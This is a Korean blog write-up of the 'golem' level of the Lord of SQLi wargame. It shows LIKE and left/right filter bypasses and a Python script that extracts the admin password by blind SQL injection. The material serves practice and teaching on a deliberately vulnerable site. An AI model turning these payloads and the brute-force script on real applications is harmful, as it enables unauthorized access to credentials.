반응형
문제
https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php
문제풀이
blind injection을 통해 id가 admin인 pw의 길이와 문자열을 알아낼 수 있다.
= 문자는 like로 우회할 수 있고, substr은 left/right로 우회 가능하다.
- pw 길이
select id from prob_golem where id='guest' and pw=''||length(pw) like 8%26%26id like 'admin'
- pw 문자열
select id from prob_golem where id='guest' and pw=''||ascii(right(left(pw,1),1)) like 55%26%26id like 'admin'
- 파이썬 코드
import requests
cookie={'PHPSESSID':''}
url="https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
# flag_len
flag_len=0
for i in range(50):
query="?pw='||length(pw) like {}%26%26id like 'admin".format(i)
res=requests.get(url+query, cookies=cookie)
if (res.text.find("<h2>Hello admin</h2>")!=-1):
flag_len=i
break
print("flag_len:{}".format(flag_len))
# flag
flag=""
for i in range(1,flag_len+1):
for j in range(33,128):
query="?pw='||ascii(right(left(pw,{}),1)) like {}%26%26id like 'admin".format(i,j)
res=requests.get(url+query, cookies=cookie)
if (res.text.find("<h2>Hello admin</h2>")!=-1):
flag+=chr(j)
print(flag)
break
print("flag:{}".format(flag))
반응형
'write-up(web) > los' 카테고리의 다른 글
[LOS] bugbear (0) | 2023.01.22 |
---|---|
[LOS] darkknight (0) | 2023.01.22 |
[LOS] skeleton (0) | 2023.01.22 |
[LOS] vampire (0) | 2023.01.22 |
[LOS] troll (0) | 2023.01.22 |